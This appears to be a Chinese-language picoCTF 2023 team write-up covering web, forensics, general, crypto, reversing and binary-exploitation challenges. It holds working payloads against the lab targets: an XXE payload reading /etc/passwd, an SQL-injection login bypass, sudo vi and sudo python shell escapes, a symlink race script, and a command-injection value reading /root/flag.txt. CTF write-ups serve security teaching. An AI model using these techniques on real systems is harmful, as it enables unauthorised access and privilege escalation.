picoCTF 2023 Writeup By AheadSec

Authors :
Web Exploitation: Naclmochu7
Forensics: mochu7
General Skills: Naclmochu7
Cryptography: mochu7
Reverse Enginnering: Nacl
Binary Exploitation: gwooNacl

Web Exploitation

Findme

提示任意重定向,根据描述传入POST发现跳转过,Burp抓包
image.png
image.png
两段链接就是flag

>>> from base64 import *
>>> b64decode("cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5X2QxYzBiMTEyfQ==")
b'picoCTF{proxies_all_the_way_d1c0b112}'

MatchTheRegex

function send_request() {
		let val = document.getElementById("name").value;
		// ^p.....F!?
		fetch(`/flag?input=${val}`)
			.then(res => res.text())
			.then(res => {
				const res_json = JSON.parse(res);
				alert(res_json.flag)
				return false;
			})
		return false;
	}

匹配正则就行:picoCTF!?
image.png

SOAP

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY test SYSTEM "file:///etc/passwd" >]><data><ID>&test;</ID></data>

image.png

More SQLi

万能密码进后台

POST / HTTP/1.1
Host: saturn.picoctf.net:52604
Content-Length: 63
Cache-Control: max-age=0
Origin: http://saturn.picoctf.net:52604
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:52604/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: arp_scroll_position=45.599998474121094; PHPSESSID=cv4thhcdll4p39ibgo9gbjqcbj
Connection: close

username=admin%27+or+1%3D1--%2B&password=admin%27+or+1%3D1--%2B

image.png

Java Code Analysis!?!

image.png
任意注册一个账号,进后台,访问各种页面都会提示权限不足
image.png

访问第一个free_pdf获取到下载pdf的接口
image.png
把3改成5就可以下载flag。pdf,但是因为当前账号权限不足,所以无法下载
看到请求头中有个串jwt,我们拿去jwt.io帮我分析一下
image.png
提示给了需要我们爆破jwtkey和修改userId和role
image.png
上john得key为1234
修改一下jwt,在改jwt的时候会发现userId要多试几次
image.png
改一下要直接复制去burpsuite发包,得到flag
image.png

Forensics

Findme

图片附加了一个压缩包,分离解压得到flag
image.png

PcapPoisoning

image.png

Who is it

Whois查IP
https://www.whois.com/whois/173.249.33.206
picoCTF{WilhelmZwalina}

FindAndOpen

image.png
找到一段base64

PS C:\Users\Administrator> php -r "var_dump(base64_decode('VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8='));"
Command line code:1:
string(41) "This is the secret: picoCTF{R34DING_LOKd_"

然后以这半段flag为密码解压压缩包得到flag,流量包中也有提示

Flying on Ethernet secret: Is this the flag

Could the flag have been splitted?

Maybe try checking the other file

This is the secret: picoCTF{R34DING_LOKd_

VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=

picoCTF{R34DING_LOKd_fil56_succ3ss_0f2afb1a}

MSB

StegSolve发现RGB 7通道貌似都有数据
image.png
image.png
保存,从中找到flag
image.png

Invisible WORDs

发现压缩包数据
image.png
image.png
把这段另存出来,脚本提取其中压缩包字节流

with open('output', 'rb') as f:
	data = f.read()
	with open('flag.zip', 'wb') as f1:
		for idx in range(0, len(data), 4):
			f1.write(data[idx:idx+2])

解压得到flag
image.png

General Skills

chrono

题目描述提示定时执行,查看下crontab发现了flag
image.png

money-ware

Google一下这个钱包地址,很快锁定该恶意软件是:Petya

Permissions

SUID提权find / -perm -u=s -type f 2>/dev/null
image.png
利用sudo提:sudo vi -c ':!/bin/sh' /dev/null

repetitions

多重base64解码
image.png

Rules 2023

根据提示在比赛规则页面查看源码,Ctrl + F搜索关键字就可以找到flag
image.png

useless

image.png
简单的加减乘除脚本,但是提示查看手册,man useless发现flag
image.png

Special

从报错中发现这是一个Python执行程序,并不是一个shell
image.png
一开始猜测以为是Python2的input安全问题,尝试了下发现不是,应该是Python3
不过这里可以拼接执行命令
image.png

A='ls';$A
A='ls';B='./blargh';$A $B;123
A='cat';B='./blargh/flag.txt';$A $B;123

image.png

Specialer

image.png
只有这些默认命令可以使用
image.png
利用echo可以浏览目录,利用mapfile可以读取文件
image.png
image.png

Cryptography

rotation

rot18
image.png

ReadMyCert

https://the-x.cn/zh-cn/base64/
image.png
image.png

HideToSee

steghide空密码
image.png
atbash解码:https://www.dcode.fr/atbash-cipher
image.png

Reverse Engineering

Reverse

IDA F5
image.png

Safe Opener 2

反编译
image.png

timer

反编译
image.png

Ready Gladiator 0

image.png

;redcode      
;name Imp Ex
;assert 1
mov.x $1, $2 
dat   #1, #2
dat   #3, #4
end

image.png
就这样做,参考https://blog.csdn.net/colin5300/article/details/8113195

Ready Gladiator 1

image.png

;redcode
;name Imp Ex
;assert 1
dist   equ 4000           ; CORESIZE/2
istep  equ 4001           ; CORESIZE/2+1
launch  mov    imp,        imp+dist
spl    imp+dist
imp     mov.i  #0,         istep
end

image.png

Binary Exploitation

two-sum

整形溢出,查看源码整体逻辑,输入两个正数,相加的和小于0便会输出flag。因为数据类型都是int型,为补码形式,所以只要两数相加后的最高位为1即可得到负数,即只要两数相加大于int的最大范围 2147483647 即可

babygame01

程序整体逻辑,玩家初始位置(4,4),到达终点(29,89)后输出 “You win! ”,再判断v7变量,若为真则输出flag。
截屏2023-03-18 17.31.18.png可查看程序时,发现该v7变量只有声明和判断时出现过,所以应该是通过地址偏移赋值的。(在init_player函数中用地址偏移赋值为0)
截屏2023-03-18 17.32.25.png
查看移动位置函数,可看出wsad为上下左右移动,l为输入一个字符到play_tile中,p为直接到达终点。
且最后result存放(a1[1] + a3 + 90 * a1)的地址,a3为main函数中v8变量的地址,a1为v5变量的地址即玩家坐标中的y,a1[1]则为指向v6变量即玩家坐标中的x。
之后result所指向的地址的值改为我们输入到play_tile中的字符,可以通过这个使result指向v7变量地址,然后改变v7变量的值,再抵达终点即输出flag。
截屏2023-03-18 17.36.57.png
即(x + &v8 + y
90) = &v7 ,v7与v8地址偏移为A-E=-4。所以只要当我们坐标为(-4,0)时,result便会指v7的地址,再给v7赋值为我们输入l后输入给player_tile的值。
截屏2023-03-18 17.59.01.png
因此,我们先移动到(0,0),再输入4个a移动到(-4,0)。此时不会显示坐标但别担心,已经移动到想要的坐标了。之后输入l ,再输入一个非0的字符,此时我们输入的字符便会输入到v7变量。再输入p自动到达终点。便会输出flag。

截屏2023-03-18 17.52.06.png
image.png

tic-tac

条件竞争,因为打开文件读取内容 和鉴权是2次独立的行为,可以在二者中间修改软连接对应的文件达到权限欺骗的功能。
先运行1.py 然后运行2.py

import os
while 1:
 os.system('ln -sf /home/ctf-player/sydd /home/ctf-player/hzgg')
 os.system('ln -sf /home/ctf-player/flag.txt /home/ctf-player/hzgg')

import os
while 1:
 os.system('/home/ctf-player/txtreader /home/ctf-player/hzgg')

d2c2bf6a13232e89a3b6ed0648cd3bb.jpg
在补档一个C语言脚本

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
gcc link.c -o link
./link flag.txt f &
./txtreader f

image.png

hijacking

image.png
ssh 连接进去之后查看到当前目录下有个.server.py 文件,而且是root创建的

ls -al

image.png
使用sudo -l查看一下,发先有权限执行vi和/usr/bin/python3 /home/picoctf/.server.py

sudo -l

image.png

 sudo vi .server.py #编辑脚本
···
import os
os.system("bash")
···
sudo /usr/bin/python3 /home/picoctf/.server.py #执行之后以root身份运行一个shell

image.png

VNE

image.png

ls -al
export SECRET_DIR='/&cat /root/flag.txt'
./bin

image.png

  • 0
    点赞
  • 0
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末初mochu7

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值